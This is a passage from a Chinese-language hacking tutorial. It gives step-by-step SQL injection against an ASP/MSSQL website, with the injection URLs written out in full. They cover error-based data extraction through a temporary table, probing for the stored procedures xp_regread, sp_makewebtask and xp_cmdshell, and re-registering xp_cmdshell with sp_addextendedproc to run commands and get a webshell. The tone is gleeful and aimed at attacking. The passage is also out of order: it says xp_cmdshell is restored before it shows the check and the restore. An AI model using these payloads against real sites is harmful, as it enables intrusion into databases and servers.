然后,我们再提交: 1=(select count(*) from 临时表 where 临时字段名>1)
这样IE报错,就把刚才插进去的WEB路径的值报出来了。
我也试过直接用变量来报错,让IE返回变量的值,结果是失败的,所以就想到了建临时表加数据进去的方法!
最后我们再删除刚建的临时表。工作就此告一段落。
方法和思路都写了。现在我们就来行动吧.
还是先看看,他这两个扩展存储过程是不是已经被删除了。如果被删了,我也不想活人了。真到兴头,冷水就来了。
提交:
http://www.something.com/script.asp?id=2 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'xp_regread')
提交:
http://www.something.com/script.asp?id=2 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'sp_makewebtask')
啦啦啦!今天是什么日子,我比过年还开心啦。全部返回正常。两个要用到的存储过程都没有删除。
(不过一般管理员也不会删除这两个的.了解太少了,也就不会注意他们嘛!)
OK。我们用IE来查看一下是不是已经恢复了。
提交:
http://www.something.com/script.asp?id=2 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name = 'xp_cmdshell')
嘿嘿。返回正常。已经恢复了.。
下面的还用我说吗?呵呵!
利用MSSQL存储过程,得到WEBSHELL。
来,看看xp_cmdshell是否被管理员删除了!
提交:
http://www.something.com/script.asp?id=2 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name = 'xp_cmdshell')
没有返回内容,提示找不到记录了。
看来,xp_cmdshell已经被删除了。呵呵,给他恢复一下.
http://www.something.com/script.asp?id=2;EXEC master.dbo.sp_addextendedproc ‘xp_cmdshell’, 'xplog70.dll'
再试,看xp_cmdshell是不是恢复过来了。
http://www.something.com/script.asp?id=2 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name = 'xp_cmdshell')
同样没有返回内容.这证明,管理员把xplog70.dll这个动态链接库给改名了。要不给删除了.直接恢复是没有没法的了.
对此,我只能说两个字"我忍"!